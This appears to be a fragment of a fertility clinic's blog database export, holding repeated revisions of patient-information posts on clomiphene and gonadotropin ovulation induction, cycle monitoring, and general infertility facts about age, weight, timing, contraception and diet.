for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\"></center>\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. 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chance of conceiving. This plays a major role if you planning to conceive. Keep stress at bay; try spending time with family and friends. Read books and prioritize your commitments.\r\n\r\n<!--more-->\r\n\r\nFemale infertility is still easier to understand and cure because in the majority of the cases the problem is known.\r\n<h2><strong>Address your nutritional deficiencies</strong></h2>\r\nSee what you not eating and keep a check on what you eating. Know the best fertility diets and the best food. Check with your doctor what you need to avoid in your meal. Ensuring a proper intake has much to do with enhancing fertility.\r\n<h2><strong>Tubal disease</strong></h2>\r\nApprox 15%-18% of infertility cases are due to a tubal disease which means your fallopian tubes are blocked, where you need to undergo some tests.\r\n<h2><strong>Age matters for infertility</strong></h2>\r\nAge has a direct and distinct correlation with infertility. Body strength, resistance, immunity and hormonal levels are at the peak during young age and hence it is important to keep this factor under consideration. The vitality and sustainability of our body get declined as we go old. Therefore it is always better to start infertility related treatment at an early age.\r\n<h2><strong>Sleep well</strong></h2>\r\nThere have been studies that clearly show the correlation of lack of sound sleep and infertility. So you must be aware in case you are a frequent party animal. To be awake late night for a long time makes fundamental changes in the hormone levels thereby increasing the chances of infertility. Scientists say that people having inadequate sleep for a longer time face various health-related problems, including low fertility rates. It affects the hormonal balance in the body that is one of the major causes of infertility.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Diagnosis and treatment of female infertility</strong></strong></span></h2>\r\nDiagnosing the root cause and deciding the treatment is the turning point in the whole process and experience of handling a wide variety of cases by the experts plays a major role in it.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Treatment of female infertility</strong></h2>\r\nThe experts usually go by an elimination method. The first step will be to identify where ovulation is normal or it is absent at all. Checking by ovulation kit, recording body temperature or checking the level of progesterone is done to determine this. They perform multiple rounds of ultrasound tests as well. If the ovulation is not normal, then drugs are prescribed to stimulate the ovulation. In case ovulation appears to be normal, then experts check the other possibilities of antibodies responsible for destroying sperms before the fertilization or obstacles in the fallopian tube. The treatment normally involves medication, microsurgery or a combination of both.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Diagnosis and treatment of male infertility</strong></h3>\r\nMale fertility is extremely complex to diagnose and cure. At the International Fertility Centre, we try to find out the fundamental reason by various tests and research. Semen samples are tested in the laboratory to know the sperm count, sperm strength and other factors. Hormonal levels are checked to determine the testosterone levels. Physiological problems like defects in genital organs, STD or VD, retrograde ejaculation are also checked. Here we take all the possible efforts to make pregnancy successful and bring the little angel in this world.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Strain in the relationship</strong><strong> </strong></strong></span></h2>\r\nDealing with infertility becomes further complicated with the <strong><a href=\"https://www.nufertility.com/blog/impacts-of-infertility-on-the-couples-relationships/\" target=\"_blank\" rel=\"noopener\">strain in the relationship between the couple</a></strong>. Both partners must keep the relations absolutely tuned and no internal conflicts or friction should arise. This is the time of providing complete physical, mental and emotional support to each other. For the male partner, the responsibility gets further increased because the female partner has to undergo a lot of physical pain and suffering. The treatment process has multiple cycles of IVF pregnancy, various tests, and procedures that cause tremendous pressure on the female. She has to be understood with sympathy and emotional way to avoid mental trauma. Training and application of certain mental and psychological techniques might help a lot.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Known as unexplained infertility</strong></strong></span></h2>\r\n(where the cause of infertility is not known or cannot be diagnosed), such a situation can often be quite frustrating for everyone involved. Unfortunately, it is quite common and can sometimes hinder the fertility treatment process. Up to 10% of couples who visit a fertility clinic for treatment receive a diagnosis of unexplained fertility. Always remember that infertility can be cured like any other disease and by being fit you can fight infertility.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #1 Overall good health isn\'t necessarily a sign that you (or your partner, for that matter) are fertile.</strong></h3>\r\nYou exercise regularly, eat a nutritious diet, and have enviable cholesterol and blood pressure levels. That’s great, but it doesn’t mean you’re fertile. One in 10 healthy couples of reproductive age will experience fertility problems. The causes are variable and equally attributed one-third of the time to the female, one-third of the time to the male, and one-third to unidentifiable reasons or to both partners. Unfortunately, the biggest factor that impacts fertility is something none of us can control: age, says Sam Thatcher, MD, a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>reproductive endocrinologist</strong> </a></span>at the Center for Applied Reproductive Science in Johnson City, Tennessee, and author of Making a Baby: Everything You Need to Know to Get Pregnant (Ballantine, 2000).\r\n\r\nFor healthy women, fertility peaks in their mid-20s begin declining at age 27, then nosedives around age 37. If you are in your mid-30s or older and trying to conceive, you need to be very pointed in your efforts, Dr. Thatcher advises. That means figuring out when you’re ovulating and having sex at those optimal times. And if you’re over 35 and concerned about your fertility, don’t settle for a gynecologist saying “Just give it time,” cautions Dr. Thatcher. The American Society of Reproductive Medicine advises women age 35 or older to consult a fertility specialist if they fail to get pregnant after six months of unprotected intercourse. Women ages 37 to 40 should wait no longer than three months.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #2</strong> Your weight affects your ability to conceive.</h3>\r\nSurprise! Twelve percent of all infertility cases are rooted in weight issues. If your body is chronically malnourished or overexercised, you can’t menstruate, since a minimum of 22 percent body fat is necessary for normal ovulation and reproductive competence. On the other side of the scale, being overweight can alter hormone chemistry and help prevent ovulation. The good news is that shedding or gaining pounds can easily remedy weight-related infertility; more than 70 percent of women conceive spontaneously once they reach healthy weight parameters. Doctors consider a body mass index (BMI) between 19 and 25 ideal. (BMI = weight in pounds divided by height in inches, divided by height in inches again, multiplied by 703. Example: 135 pounds, divided by 66 inches, divided by 66 inches, multiplied by 703 = BMI 22.)\r\n\r\nWeight not only potentially impacts fertility but pregnancy as well. According to the March of Dimes, overweight women who become pregnant are at greater risk for pregnancy-related high blood pressure and diabetes, and underweight women are more likely to deliver a low birth weight baby. If you are at a reasonable weight and trying to conceive, now is not the time to begin training for a marathon or go on a crash diet.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #3 Sexual positions -- coital or postcoital -- don\'t affect your chances of conception.</strong></h3>\r\nNo study has confirmed that one position is more effective than any other in achieving pregnancy. In fact, sperm can be found in the cervical canal mere seconds after ejaculation, regardless of position. Of course, aiming for the deepest penetration and maximum cervical contact makes sense, but the optimal position varies because every woman’s body is different.\r\n\r\nAnd since sperm starts swimming immediately after ejaculation, it isn’t necessary for a woman to become a gymnast or a yoga master to make a baby. There may be a little advantage to lying around after intercourse to keep the sperm inside you, but there’s absolutely no value in standing on your head, says Dr. Thatcher. So savor the mood however you please.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #4 The biological clock ticks for men too.</strong></h3>\r\nThe notion that age-related fertility decline is only a female factor has been debunked by a recent British study. Researchers at Bristol and Brunel Universities evaluated 8,500 couples to determine the impact of age on the length of time it took to conceive. They discovered that while only 8 percent of men younger than 25 fail to impregnate their partner after a year of trying, that number grows to 15 percent after age 35. Despite other factors, such as the fact that frequency of intercourse drops off with age, the study suggests that paternal age, too, may be a consideration for couples struggling with infertility.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #5 Ovulation day is not necessarily the best day to try to conceive a child.</strong></h3>\r\nSperm can live in the female reproductive tract for up to three days after intercourse, so having sex every day, or even on ovulation day, is not necessary. What is critical is knowing when you are fertile. According to data from the AIA, 20 percent of couples seeking infertility treatment are not timing intercourse correctly.\r\n\r\nA woman is fertile for a period of six days, the five days leading up to ovulation (when the egg is released from the ovary) and the day of ovulation. A study by the National Institute of Environmental Sciences found, much to the researchers’ surprise, that a woman ‘s capacity to conceive seems to end on ovulation day. So if women charting their basal body temperature are waiting for their temperature to go up to have intercourse, they’re too late, warns Melissa Holmes, MD, associate professor of obstetrics and gynecology at the Medical University of South Carolina in Charleston. She recommends using ovulation kits because they let you know when you’re about to ovulate. Having sex on the two days prior to ovulation offers the greatest chance of conception.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #6 However brief your partner\'s particular choice of underwear, it\'s unlikely that it will impact his fertility.</strong></h3>\r\nUp until several years ago, future dads were discouraged from wearing briefs because their tight fit held the testicles close to the body, raising scrotal temperature and causing a decrease in sperm count or concentration. And while it is true that very high temperatures can be harmful to sperm, choice of underwear does not heat things up enough to make an impact, according to two recent studies. So if briefs (or bikinis, for that matter) are more likely to heat things up between you and your partner, stock up on those Jockeys!\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #7 Birth control choices have fertility implications.</strong></h3>\r\nIt sounds like a cruel joke, but it’s true, says Dr. Holmes. The method of contraception that a woman has used may also impact conception. Women who used progesterone injections of Depo-Provera may have to wait for normal fertility to resume after they’ve stopped using the drug for six to nine months or even a year. It may take women who use Lunelle, another injectable form of birth control, six months to a year to have a normal menstrual and ovulation cycle.\r\n\r\nAnd while many women believe that the effects of the pill linger long after they stop using it, that’s yet another myth. Furthermore, it’s not necessary to wait for several cycles to “wash out” oral contraceptives before getting started. In fact, immediately after the pill is stopped, there can be an anovulatory rebound effect, resulting in a super-fertile period. Despite the increased chances of conceiving right after stopping the pill, Dr. Holmes still recommends most of her patients go off it two or three months prior to trying to conceive. That way, you can more predictably determine the length of your cycle, identify your fertile days, and be able to better date when you conceived once you actually do get pregnant.\r\n\r\nOral contraceptives also help to preserve fertility — pill users have a decreased risk of illnesses that harm fertility, such as endometriosis, PID, and ectopic pregnancy. The bottom line? Take stock of your birth control choices before you decide you want to get pregnant.\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #8 Specific foods or diets do not have a large impact on fertility.</strong></h3>\r\nThere is no magic diet that will increase the chances of sperm meeting egg; the best thing you can do is eat a diet high in nutrients and fiber and cut down on your consumption of highly processed foods. It’s also important for couples trying to conceive to get plenty of folic acids, which helps prevent birth defects and can improve sperm count.\r\n\r\nAnd while you may have heard that caffeine can hamper conception, don’t toss out your favorite mug just yet. Though there have been reports that women who drank more than one cup of coffee daily were half as likely to conceive per cycle as those who drank less, researchers acknowledge that delayed conception could have been attributed to other factors, and subsequent studies have failed to find a significant link between moderate amounts of caffeine and fertility.\r\n\r\nSome research has shown that zinc may <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>improve sperm count</strong></a></span>, but don’t go overboard on any one nutrient. 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Infertility','','publish','open','open','','things-you-should-know-when-battling-with-infertility','','http://www.nufertility.com/blog/impacts-of-infertility-on-the-couples-relationships/\nhttps://www.nufertility.com/blog/impacts-of-infertility-on-the-couples-relationships/\nhttps://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/','2024-03-29 11:23:24','2024-03-29 11:23:24','',0,'http://www.nufertility.com/blog/?p=166',0,'post','',0),(167,1,'2018-02-06 12:43:07','2018-02-06 12:43:07','<strong>Manage your stress</strong>\r\n<p>Managing your stress is very important for it helps increase the chance of conceiving. This plays a major role if you planning to conceive. Keep stress at bay; try spending time with family and friends. Read books and prioritize your commitments.</p>\r\n<p>Female infertility is still easier to understand and cure because in majority of the cases the problem is known.</p>\r\n\r\n<strong>Address your nutritional deficiencies</strong>\r\n<p>See what you not eating and keep a check on what you eating. Know the best fertility diets and best food. Check with your doctor what you need to avoid in your meal. Ensuring a proper intake has much to do with enhancing fertility.</p>\r\n\r\n<strong>Tubal disease</strong>\r\n<p>Approx 15%-18% of infertility cases is due to tubal disease which means your fallopian tubes are blocked, where you need to undergo some tests.</p>\r\n\r\n<strong>Age matters for infertility</strong>\r\n<p>Age has direct and distinct correlation with infertility. Body strength, resistance, immunity and hormonal levels are at the peak during young age and hence it is important to keep this factor under consideration. The vitality and sustainability of our body gets declined as we go old. Therefore it is always better to start infertility related treatment at the early age.</p>\r\n\r\n<strong>Sleep well</strong>\r\n<p>There have been studies that clearly show the correlation of lack of sound sleep and infertility. So you must be aware in case you are a frequent party animal. To be awake late night for a long time makes fundamental changes in the hormone levels thereby increasing the chances of infertility. Scientists say that people having inadequate sleep for a longer time face various health related problems, including low fertility rates. It affects the hormonal balance in the body that is one of the major causes for infertility.</p>\r\n\r\n<strong>Diagnosis and treatment of female infertility</strong>\r\n<p>Diagnosing the root cause and deciding the treatment is the turning point in the whole process and experience of handling a wide variety of cases by the experts plays a major role in it.</p>\r\n<p>Treatment of female infertility</p>\r\n<p>The experts usually go by an elimination method. The first step will be to identify where ovulation is normal or it is absent at all. Checking by ovulation kit, recording body temperature or checking the level of progesterone is done to determine this. They perform multiple rounds of ultrasound tests as well. If the ovulation is not normal, then drugs are prescribed to stimulate the ovulation. In case ovulation appears to be normal, then experts check the other possibilities of antibodies responsible for destroying sperms before the fertilization or obstacles in the fallopian tube. The treatment normally involves medication, microsurgery or a combination of both.</p>\r\n\r\n<strong>Diagnosis and treatment of male infertility</strong>\r\n<p>Male fertility is extremely complex to diagnose and cure. At International Fertility Centre, we try to find out the fundamental reason by various tests and research. Semen samples are tested in the laboratory to know the sperm count, sperm strength and other factors. Hormonal levels are checked to determine the testosterone levels. Physiological problems like defects in genital organs, STD or VD, retrograde ejaculation are also checked. Here we take all the possible efforts to make pregnancy successful and bring the little angel in this world.</p>\r\n\r\n<strong>Strain in the relationship</strong>\r\n<p>Dealing with infertility becomes further complicated with the strain in relationship between the couple. Both partners must keep the relations absolutely tuned and no internal conflicts or friction should arise. This is the time of providing complete physical, mental and emotional support to each other. For male partner, the responsibility gets further increased because female partner has to undergo a lot of physical pain and suffering. Treatment process has multiple cycles of IVF pregnancy, various tests and procedures that cause tremendous pressure on the female. She has to be understood with sympathy and emotional way to avoid mental trauma. Training and application of certain mental and psychological techniques might help a lot.</p>\r\n\r\n<strong>Known as unexplained infertility</strong>\r\n<p>(where the cause of infertility is not known or cannot be diagnosed), such a situation can often be quite frustrating for everyone involved. Unfortunately, it is quite common and can sometimes hinder the fertility treatment process. Up to 10% of couples who visit a fertility clinic for treatment receive a diagnosis of unexplained fertility. Always remember that infertility can be cured like any other disease and by being fit you can fight infertility.</p>\r\n\r\n<strong>Fact #1 Overall good health isn\'t necessarily a sign that you (or your partner, for that matter) are fertile.</strong>\r\n\r\n<p>You exercise regularly, eat a nutritious diet, and have enviable cholesterol and blood pressure levels. That’s great, but it doesn’t mean you’re fertile. One in 10 healthy couples of reproductive age will experience fertility problems. The causes are variable and equally attributed one-third of the time to the female, one-third of the time to the male, and one-third to unidentifiable reasons or to both partners. Unfortunately, the biggest factor that impacts fertility is something none of us can control: age, says Sam Thatcher, MD, a reproductive endocrinologist at the Center for Applied Reproductive Science in Johnson City, Tennessee, and author of Making a Baby: Everything You Need to Know to Get Pregnant (Ballantine, 2000).\r\nFor healthy women, fertility peaks in their mid 20s, begins declining at age 27, then nosedives around age 37. If you are in your mid 30s or older and trying to conceive, you need to be very pointed in your efforts, Dr. Thatcher advises. That means figuring out when you’re ovulating and having sex at those optimal times. And if you’re over 35 and concerned about your fertility, don’t settle for a gynecologist saying “Just give it time,” cautions Dr. Thatcher. The American Society of Reproductive Medicine advises women age 35 or older to consult a fertility specialist if they fail to get pregnant after six months of unprotected intercourse. Women ages 37 to 40 should wait no longer than three months.</p>\r\n\r\n<strong>Fact #2 Your weight affects your ability to conceive.</strong>\r\n<p>Surprise! Twelve percent of all infertility cases are rooted in weight issues. If your body is chronically malnourished or overexercised, you can’t menstruate, since a minimum of 22 percent body fat is necessary for normal ovulation and reproductive competence. On the other side of the scale, being overweight can alter hormone chemistry and help prevent ovulation. The good news is that shedding or gaining pounds can easily remedy weight-related infertility; more than 70 percent of women conceive spontaneously once they reach healthy weight parameters. Doctors consider a body mass index (BMI) between 19 and 25 ideal. (BMI = weight in pounds divided by height in inches, divided by height in inches again, multiplied by 703. Example: 135 pounds, divided by 66 inches, divided by 66 inches, multiplied by 703 = BMI 22.)\r\nWeight not only potentially impacts fertility but pregnancy as well. According to the March of Dimes, overweight women who become pregnant are at greater risk for pregnancy-related high blood pressure and diabetes, and underweight women are more likely to deliver a low birth weight baby. If you are at a reasonable weight and trying to conceive, now is not the time to begin training for a marathon or go on a crash diet.</p>\r\n\r\n<strong>Fact #3 Sexual positions -- coital or postcoital -- don\'t affect your chances of conception.</strong>\r\n<p>No study has confirmed that one position is more effective than any other in achieving pregnancy. In fact, sperm can be found in the cervical canal mere seconds after ejaculation, regardless of position. Of course, aiming for the deepest penetration and maximum cervical contact makes sense, but the optimal position varies because every woman’s body is different.\r\nAnd since sperm start swimming immediately after ejaculation, it isn’t necessary for a woman to become a gymnast or a yoga master to make a baby. There may be a little advantage to lying around after intercourse to keep the sperm inside you, but there’s absolutely no value in standing on your head, says Dr. Thatcher. So savor the mood however you please.</p>\r\n\r\n<strong>Fact #4 The biological clock ticks for men too.</strong>\r\n<p>The notion that age-related fertility decline is only a female factor has been debunked by a recent British study. Researchers at Bristol and Brunel Universities evaluated 8,500 couples to determine the impact of age on the length of time it took to conceive. They discovered that while only 8 percent of men younger than 25 fail to impregnate their partner after a year of trying, that number grows to 15 percent after age 35. Despite other factors, such as the fact that frequency of intercourse drops off with age, the study suggests that paternal age, too, may be a consideration for couples struggling with infertility.</p>\r\n\r\n<strong>Fact #5 Ovulation day is not necessarily the best day to try to conceive a child.</strong>\r\n<p>Sperm can live in the female reproductive tract for up to three days after intercourse, so having sex every day, or even on ovulation day, is not necessary. What is critical is knowing when you are fertile. According to data from the AIA, 20 percent of couples seeking infertility treatment are not timing intercourse correctly.\r\nA woman is fertile for a period of six days, the five days leading up to ovulation (when the egg is released from the ovary) and the day of ovulation. A study by the National Institute of Environmental Sciences found, much to the researchers’ surprise, that a woman ‘s capacity to conceive seems to end on ovulation day. So if women charting their basal body temperature are waiting for their temperature to go up to have intercourse, they’re too late, warns Melissa Holmes, MD, associate professor of obstetrics and gynecology at the Medical University of South Carolina in Charleston. She recommends using ovulation kits because they let you know when you’re about to ovulate. Having sex on the two days prior to ovulation offers the greatest chance of conception.</p>\r\n\r\n<strong>Fact #6 However brief your partner\'s particular choice of underwear, it\'s unlikely that it will impact his fertility.</strong>\r\n<p>Up until several years ago, future dads were discouraged from wearing briefs because their tight fit held the testicles close to the body, raising scrotal temperature and causing a decrease in sperm count or concentration. And while it is true that very high temperatures can be harmful to sperm, choice of underwear does not heat things up enough to make an impact, according to two recent studies. So if briefs (or bikinis, for that matter) are more likely to heat things up between you and your partner, stock up on those Jockeys!</p>\r\n\r\n<strong>Fact #7 Birth control choices have fertility implications.</strong>\r\n<p>It sounds like a cruel joke, but it’s true, says Dr. Holmes. The method of contraception that a woman has used may also impact conception. Women who used progesterone injections of Depo-Provera may have to wait for normal fertility to resume after they’ve stopped using the drug for six to nine months or even a year. It may take women who use Lunelle, another injectable form of birth control, six months to a year to have a normal menstrual and ovulation cycle.\r\nAnd while many women believe that the effects of the pill linger long after they stop using it, that’s yet another myth. Furthermore, it’s not necessary to wait several cycles to “wash out” oral contraceptives before getting started. In fact, immediately after the pill is stopped, there can be an ovulatory rebound effect, resulting in a super-fertile period. Despite the increased chances of conceiving right after stopping the pill, Dr. Holmes still recommends most of her patients go off it two or three months prior to trying to conceive. That way, you can more predictably determine the length of your cycle, identify your fertile days, and be able to better date when you conceived once you actually do get pregnant.\r\nOral contraceptives also help to preserve fertility — pill users have a decreased risk of illnesses that harm fertility, such as endometriosis, PID, and ectopic pregnancy. The bottom line? Take stock of your birth control choices before you decide you want to get pregnant.</p>\r\n\r\n<strong>Fact #8 Specific foods or diets do not have a large impact on fertility.</strong>\r\n<p>There is no magic diet that will increase the chances of sperm meeting egg; the best thing you can do is eat a diet high in nutrients and fiber and cut down on your consumption of highly processed foods. It’s also important for couples trying to conceive to get plenty of folic acid, which helps prevent birth defects and can improve sperm count.\r\nAnd while you may have heard that caffeine can hamper conception, don’t toss out your favorite mug just yet. Though there have been reports that women who drank more than one cup of coffee daily were half as likely to conceive per cycle as those who drank less, researchers acknowledge that delayed conception could have been attributed to other factors, and subsequent studies have failed to find a significant link between moderate amounts of caffeine and fertility.\r\nSome research has shown that zinc may improve sperm count, but don’t go overboard on any one nutrient. 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important for it helps increase the chance of conceiving. This plays a major role if you planning to conceive. Keep stress at bay; try spending time with family and friends. Read books and prioritize your commitments.\n\n<!--more-->\n\nFemale infertility is still easier to understand and cure because in the majority of the cases the problem is known.\n<h2><strong>Address your nutritional deficiencies</strong></h2>\nSee what you not eating and keep a check on what you eating. Know the best fertility diets and the best food. Check with your doctor what you need to avoid in your meal. Ensuring a proper intake has much to do with enhancing fertility.\n<h2><strong>Tubal disease</strong></h2>\nApprox 15%-18% of infertility cases are due to a tubal disease which means your fallopian tubes are blocked, where you need to undergo some tests.\n<h2><strong>Age matters for infertility</strong></h2>\nAge has a direct and distinct correlation with infertility. Body strength, resistance, immunity and hormonal levels are at the peak during young age and hence it is important to keep this factor under consideration. The vitality and sustainability of our body get declined as we go old. Therefore it is always better to start infertility related treatment at an early age.\n<h2><strong>Sleep well</strong></h2>\nThere have been studies that clearly show the correlation of lack of sound sleep and infertility. So you must be aware in case you are a frequent party animal. To be awake late night for a long time makes fundamental changes in the hormone levels thereby increasing the chances of infertility. Scientists say that people having inadequate sleep for a longer time face various health-related problems, including low fertility rates. It affects the hormonal balance in the body that is one of the major causes of infertility.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Diagnosis and treatment of female infertility</strong></strong></span></h2>\nDiagnosing the root cause and deciding the treatment is the turning point in the whole process and experience of handling a wide variety of cases by the experts plays a major role in it.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Treatment of female infertility</strong></h2>\nThe experts usually go by an elimination method. The first step will be to identify where ovulation is normal or it is absent at all. Checking by ovulation kit, recording body temperature or checking the level of progesterone is done to determine this. They perform multiple rounds of ultrasound tests as well. If the ovulation is not normal, then drugs are prescribed to stimulate the ovulation. In case ovulation appears to be normal, then experts check the other possibilities of antibodies responsible for destroying sperms before the fertilization or obstacles in the fallopian tube. The treatment normally involves medication, microsurgery or a combination of both.\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Diagnosis and treatment of male infertility</strong></h3>\nMale fertility is extremely complex to diagnose and cure. At the International Fertility Centre, we try to find out the fundamental reason by various tests and research. Semen samples are tested in the laboratory to know the sperm count, sperm strength and other factors. Hormonal levels are checked to determine the testosterone levels. Physiological problems like defects in genital organs, STD or VD, retrograde ejaculation are also checked. Here we take all the possible efforts to make pregnancy successful and bring the little angel in this world.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Strain in the relationship</strong><strong> </strong></strong></span></h2>\nDealing with infertility becomes further complicated with the <strong><a href=\"https://www.nufertility.com/blog/impacts-of-infertility-on-the-couples-relationships/\" target=\"_blank\" rel=\"noopener\">strain in the relationship between the couple</a></strong>. Both partners must keep the relations absolutely tuned and no internal conflicts or friction should arise. This is the time of providing complete physical, mental and emotional support to each other. For the male partner, the responsibility gets further increased because the female partner has to undergo a lot of physical pain and suffering. The treatment process has multiple cycles of IVF pregnancy, various tests, and procedures that cause tremendous pressure on the female. She has to be understood with sympathy and emotional way to avoid mental trauma. Training and application of certain mental and psychological techniques might help a lot.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Known as unexplained infertility</strong></strong></span></h2>\n(where the cause of infertility is not known or cannot be diagnosed), such a situation can often be quite frustrating for everyone involved. Unfortunately, it is quite common and can sometimes hinder the fertility treatment process. Up to 10% of couples who visit a fertility clinic for treatment receive a diagnosis of unexplained fertility. Always remember that infertility can be cured like any other disease and by being fit you can fight infertility.\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #1 Overall good health isn\'t necessarily a sign that you (or your partner, for that matter) are fertile.</strong></h3>\nYou exercise regularly, eat a nutritious diet, and have enviable cholesterol and blood pressure levels. That’s great, but it doesn’t mean you’re fertile. One in 10 healthy couples of reproductive age will experience fertility problems. The causes are variable and equally attributed one-third of the time to the female, one-third of the time to the male, and one-third to unidentifiable reasons or to both partners. Unfortunately, the biggest factor that impacts fertility is something none of us can control: age, says Sam Thatcher, MD, a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>reproductive endocrinologist</strong> </a></span>at the Center for Applied Reproductive Science in Johnson City, Tennessee, and author of Making a Baby: Everything You Need to Know to Get Pregnant (Ballantine, 2000).\n\nFor healthy women, fertility peaks in their mid-20s begin declining at age 27, then nosedives around age 37. If you are in your mid-30s or older and trying to conceive, you need to be very pointed in your efforts, Dr. Thatcher advises. That means figuring out when you’re ovulating and having sex at those optimal times. And if you’re over 35 and concerned about your fertility, don’t settle for a gynecologist saying “Just give it time,” cautions Dr. Thatcher. The American Society of Reproductive Medicine advises women age 35 or older to consult a fertility specialist if they fail to get pregnant after six months of unprotected intercourse. Women ages 37 to 40 should wait no longer than three months.\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Fact #2</strong> Your weight affects your ability to conceive.</h3>\nSurprise! Twelve percent of all infertility cases are rooted in weight issues. If your body is chronically malnourished or overexercised, you can’t menstruate, since a minimum of 22 percent body fat is necessary for normal ovulation and reproductive competence. On the other side of the scale, being overweight can alter hormone chemistry and help prevent ovulation. The good news is that shedding or gaining pounds can easily remedy weight-related infertility; more than 70 percent of women conceive spontaneously once they reach healthy weight parameters. Doctors consider a body mass index (BMI) between 19 and 25 ideal. (BMI = weight in pounds divided by height in inches, divided by height in inches again, multiplied by 703. Example: 135 pounds, divided by 66 inches, divided by 66 inches, multiplied by 703 